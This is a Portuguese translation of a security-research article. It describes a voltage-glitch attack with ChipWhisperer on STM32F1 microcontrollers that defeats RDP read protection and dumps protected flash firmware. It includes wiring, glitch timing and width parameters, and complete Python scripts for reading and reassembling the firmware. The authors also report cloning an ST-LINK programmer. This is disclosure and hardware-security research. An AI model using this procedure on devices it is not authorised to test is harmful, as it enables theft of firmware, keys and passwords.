Leia o firmware seguro do flash STM32F1xx usando o ChipWhisperer


No artigo anterior , lidamos com ataques de falha de Vcc usando ChipWhisperer. Nosso objetivo adicional era um estudo em fases do processo de leitura de microcontroladores de firmware protegidos. Usando esses ataques, um invasor pode obter acesso a todas as senhas de dispositivos e algoritmos de software. Um exemplo vívido é o hackeamento da carteira criptográfica de hardware do Ledger Nano S com a placa MK STM32F042 usando ataques de falha de Vcc.


Interessante? Vamos olhar embaixo do gato.


Aprendemos sobre a possibilidade de ler firmware protegido em um artigo que apresenta os resultados de um ataque de falha de Vcc - ignorando o byte de proteção RDP através de um gerenciador de inicialização para vários microcontroladores (daqui em diante - MK). Também recomendamos a leitura do artigo sobre a quebra do ESP32.


A base teórica do estudo foi a diretriz para a leitura bem-sucedida do firmware protegido para o LPC1114 através de um carregador de máscara usando o ChipWhisperer.


Como no primeiro artigo, decidimos realizar experimentos na placa MK STM32F103RBT6:



Placa STM32F103RBT6


A capacidade de gravar dados nos setores de memória flash e RAM ou de lê-los, além de executar outras ações com a memória MK, é determinada pelo valor do byte de proteção (para STM32 - RDP). Para valores MK diferentes e a finalidade dos bytes de proteção, bem como o algoritmo para verificação deles, é diferente.


Configuração de hardware


Vamos começar o experimento. Primeiro você precisa conectar o ChipWhisperer ao MK de acordo com a figura:



Diagrama de conexão do ChipWhisperer ao STM32 para leitura de firmware protegido através de um carregador de máscaras


Os elementos que devem ser removidos da placa STM32F103RBT6 são riscados no diagrama (em contraste com a conexão MK padrão). As setas indicam os pontos de conexão do ChipWhisperer e as assinaturas indicam seus pinos.


A presença de quartzo externo, mostrada no diagrama, não é necessária porque, ao trabalhar com um carregador de máscaras, o MK STM32F103RBT6 usa um RELÓGIO interno com uma frequência de 24 MHz, para que não haja sincronização entre o ChipWhisperer e o MK.


Vamos seguir para a configuração do ChipWhisperer. Como observado acima, a frequência recomendada do ChipWhisperer é 24 MHz (ou outro múltiplo). Quanto maior a multiplicidade dessa frequência, mais precisamente você pode ajustar o momento do ataque. Devido à falta de sincronização, a seleção do parâmetro scope.glitch.offset é opcional; qualquer valor pode ser atribuído a ele.


Os parâmetros scope.glitch.repeat e scope.glitch.width devem ser selecionados dependendo da frequência definida do ChipWhisperer. Com um grande valor de frequência, todos os pulsos de curto prazo, cujo número é definido usando scope.glitch.repeat, se fundem em um pulso longo. Portanto, você pode selecionar o valor do parâmetro scope.glitch.width e scope.glitch.repeat fix ou vice-versa. Descobrimos que a duração ideal do pulso deve ser de cerca de 80 ns (definida como a largura do pulso na metade do máximo).


Resta selecionar o valor do parâmetro scope.glitch.ext_offset.


Seleção scope.glitch.ext_offset


Primeiro você precisa escolher o momento do ataque. De acordo com o esquema apresentado no documento da empresa STM, o valor do byte de proteção é verificado após o recebimento de uma solicitação para ler dados do setor flash:



O algoritmo para responder a uma solicitação de leitura de dados do setor flash


Para verificar a validade desse esquema de verificação, lemos o código executável do carregador de inicialização de um MK semelhante sem proteção RDP via ST-Link. As figuras abaixo mostram partes do algoritmo de processamento de comandos Read Memory .



Visão geral do processamento de um comando de leitura de memória (a chamada para a função de verificação RDP e o envio do NACK em caso de falha na verificação são claramente visíveis)



Corpo da função de validação RDP


Vamos prestar atenção ao corpo da função de verificação RDP: pode ser visto que o registro está sendo lido em 0x40022000 + 0x1C , um deslocamento lógico de 30 bits e ramificação. A partir da documentação do manual de programação PM0075 (microcontroladores de memória Flash STM32F10xxx) , fica claro que 0x40022000 é o endereço base do controlador de memória flash e 0x1C é o deslocamento do registro FLASH_OBR , no qual estamos interessados ​​no segundo bit de RDPRT : proteção de leitura, que contém o status da proteção RDP.


O momento necessário do ataque é o desenvolvimento da instrução LDR (carregando da memória). Esta instrução está localizada entre a solicitação de leitura do firmware (enviando um byte 0x11 com uma 0xEE ) e a resposta ACK / NOACK MK feita pelo UART. Para corrigir visualmente esse momento, é necessário conectar o osciloscópio ao UART1_RX (pino PA10) e UART1_TX (pino PA9) e depois monitorar a alteração de tensão de acordo com o UART1. Como resultado, a forma de onda do ataque de força com o valor scope.glitch.ext_offset selecionado deve ser algo como isto:



Escolhendo o momento do ataque


Script de leitura de firmware


Agora você precisa especificar o momento do acionador CW_TRIG no código Python para interceptar o momento de transmitir a soma de verificação via UART1_RX. O ChipWhisperer possui uma biblioteca para comunicação com o carregador de máscaras STM32 MK. No modo normal, esta biblioteca é usada para baixar firmware de manuais para o MK usando a classe class STM32FSerial(object) da classe localizada no arquivo programmer_stm32fserial.py no caminho software/chipwhisperer/hardware/naeusb/ . Para ativar o gatilho, você precisa copiar esta classe para o script executável principal, para que o método de classe CmdGeneric(self, cmd) fique globalmente acessível e adicione o comando scope.arm() antes de enviar a soma de verificação (0xEE) da solicitação para ler o setor de memória. A aula final é dada no spoiler abaixo.


Classe para comunicação do ChipWhisperer com o STM32
 import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None 

Observe que o carregador de máscaras STM32F1xx permite que você leia não mais que 256 bytes de firmware de um setor flash especificado em uma única solicitação. Portanto, ao ler todo o firmware do MK, é necessário executar várias solicitações de leitura durante o ataque de falha de Vcc. Em seguida, os 256 bytes recebidos devem ser divididos em oito matrizes de 32 bytes e formar um arquivo HEX a partir deles.


Código do conversor HEX e funções auxiliares
 def int2str_0xFF(int_number, number_of_bytes): return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion << 16) data_out = '' for i in range(int(256/mem_step)): data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)] mem_calc = mem_conversion + (i * mem_step) data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n' return data_out def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step): addr_string = memory_address -((memory_address >> 20) << 20) data_buffer = '' crcacc = 0 for x in range(0, len(data_to_convert)): data_buffer += int2str_0xFF(data_to_convert[x], 2) crcacc += data_to_convert[x] crcacc += mem_step temp_addr_string = addr_string for i in range (4, -1, -2): crcacc += temp_addr_string >> i*4 temp_addr_string -= ((temp_addr_string >> i*4) << i*4) crcacc_2nd_symbol = (crcacc >> 8) + 1 crcacc = (crcacc_2nd_symbol << 8) - crcacc if crcacc == 0x100: crcacc = 0 RECTYP = 0x00 out_string = ':'+ Int_To_Hex_String(mem_step, 2) +\ Int_To_Hex_String((addr_string),4) +\ Int_To_Hex_String(RECTYP, 2) +\ data_buffer +\ Int_To_Hex_String(crcacc, 2) return out_string def send_to_file(info_to_output, File_name, directory): file = open(directory + File_name + '.hex', 'w') file.write(info_to_output) file.close() def reset_target(scope): scope.io.nrst = 'low' time.sleep(0.05) scope.io.nrst = 'high' from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step']) 

A configuração das configurações do ChipWhisperer agora está concluída. O script final para ler o firmware é o seguinte:


 # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory) 

Todos comentaram as mensagens de print() após a linha, except Exception as ajuda para monitorar o status do MC ao procurar os parâmetros ideais para o pulso de falha. Para rastrear o estado específico do MK, basta descomentar a mensagem print() necessária.


Resultados da leitura


O vídeo mostra o download do firmware para o MK através do programador ST-LINK, transferindo o RDP para o estado de proteção e depois lendo o firmware:



Os seguintes erros podem impedir ataques bem-sucedidos de falhas de Vcc:


• ler o setor errado da memória;


• remoção espontânea de firmware.


A seleção precisa do momento do ataque aumentando a frequência do ChipWhisperer ajudará a evitar esses erros.


Após desenvolver e depurar o algoritmo para a leitura do firmware protegido, realizamos uma leitura de teste do firmware do programador ST-LINK-V2.1, que funciona no STM32F103CBT6 MK. Alguns firmware, costuramos um MK "limpo" STM32F103CBT6 e o ​​instalamos em vez do de fábrica. Como resultado, o ST-LINK-V2.1 com o MK substituído funcionou no modo normal, como se não houvesse substituição.


Também tentamos realizar uma série de ataques ao STM32F303RCT7. Esse MK durante o ataque se comportou de forma idêntica ao STM32F103RBT6, mas a resposta à solicitação de memória de leitura continha um byte igual a 0x00, que não coincidia com o resultado esperado. O motivo dessa falha foi um princípio mais complexo e desenvolvido de organizar a proteção desses MKs.


Existem dois estados de proteção no STM32F1xx MK: a proteção está desativada (nível 0) e ativada (nível 1). Nos modelos mais antigos, existem três estados de proteção: a proteção está desativada (Nível 0, RDP = 0x55AA), a proteção do flash e da memória SRAM (Nível 2, RDP = 0x33CC) e a proteção da memória flash apenas (o Nível 1, o RDP aceita valores diferentes de de 0x55AA e 0x33CC). Como o Nível 1 pode receber muitos valores de RDP, a configuração do Nível 0 é bastante difícil. Por outro lado, é possível diminuir o nível de proteção do Nível 2 para o Nível 1 pressionando um bit no byte RDP (mostrado na figura abaixo), o que permite o acesso à memória SRAM.



Comparação de valores RDP para diferentes níveis de proteção de firmware


Resta apenas entender como um invasor pode tirar proveito disso. Por exemplo, usando o método CBS (Cold-Boot Stepping) descrito neste artigo . Esse método é baseado em um instantâneo em fases do status da memória SRAM (a frequência de cada instantâneo estava na área de microssegundos) após o carregamento do MC para obter chaves de criptografia, senhas ocultas ou qualquer outra informação valiosa. Os autores sugerem que o método CBS funcionará em todas as séries STM32 MK.


Conclusões


Para resumir nossos experimentos. Levamos vários dias para concluir um ataque de falha no Vcc usando os dados obtidos em um estudo anterior (que pode ser lido aqui ). Portanto, aprender como realizar esses ataques é bastante fácil.


Os ataques de falha de Vcc são perigosos porque são difíceis de se defender. Para reduzir a probabilidade de realizar com êxito esses ataques, propõe-se usar o MK com um nível mais alto de proteção.



A Raccoon Security é uma equipe especial de especialistas no Centro Técnico e Científico do Vulcão na área de segurança da informação prática, criptografia, circuitos, engenharia reversa e criação de software de baixo nível.


Source: https://habr.com/ru/post/pt483732/


All Articles